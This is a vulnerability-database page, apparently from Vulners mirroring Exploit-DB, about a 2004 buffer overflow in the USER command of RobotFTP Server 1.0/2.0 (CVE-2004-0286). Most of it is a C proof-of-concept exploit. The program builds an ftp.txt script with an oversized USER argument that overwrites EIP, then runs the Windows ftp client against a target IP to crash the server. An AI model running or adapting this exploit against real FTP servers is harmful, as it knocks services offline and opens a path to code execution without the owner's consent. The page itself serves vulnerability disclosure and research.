Lucene search
+L

RobotFTP Server 1.0/2.0 - 'Username' Buffer Overflow (1)

🗓️ 16 Feb 2004 00:00:00Reported by gsichtType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

RobotFTP Server vulnerable to buffer overflow due to insufficient bounds checking in USER command.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2004-0286
18 Mar 200405:00
cve
cvelist
Cvelist
CVE-2004-0286
18 Mar 200405:00
cvelist
exploitdb
Exploit DB
RobotFTP Server 1.0/2.0 - 'Username' Buffer Overflow (2)
16 Feb 200400:00
exploitdb
nvd
NVD
CVE-2004-0286
23 Nov 200405:00
nvd
// source: https://www.securityfocus.com/bid/9672/info

A vulnerability has been reported for RobotFTP Server. The problem likely occurs due to insufficient bounds checking when processing 'USER' command arguments of excessive length.

/******************************
this is example code for the vulnerability. It uses the windows ftp client to connect to a server
******************************/
#include <stdio.h>

char buffer[2500];
char cmd[50];

int main(int argc, char *argv[])
{
        FILE *evil;

        if(argv[1] == NULL)
        {
                printf("Usage: %s [IP]\n\n",argv[0]);
                return 0;
        }

        memset(buffer,0x41,47);
        memcpy(buffer+47,"\r\n",2);
        memcpy(buffer+49,"crash",5);
        memcpy(buffer+54,"\r\n",2);
        memcpy(buffer+56,"USER ",5);
        memset(buffer+61,0x41,1989);
        memset(buffer+61+1989,0x58,4);  // << overwrites the eip with XXXX
        memcpy(buffer+65+1989,"\r\n",2);

        sprintf(cmd,"ftp -s:ftp.txt %s",argv[1]);


        if((evil = fopen("ftp.txt", "a+")) != NULL)
        {
                fputs(buffer, evil);
                fclose(evil);
                printf("- file written!\n");
        }
        else
        {
                fprintf(stderr, "ERROR: couldn't open ftp.txt!\n");
                exit(1);
        }
        system(cmd);

}
/*******************************/

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Dec 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.08088
35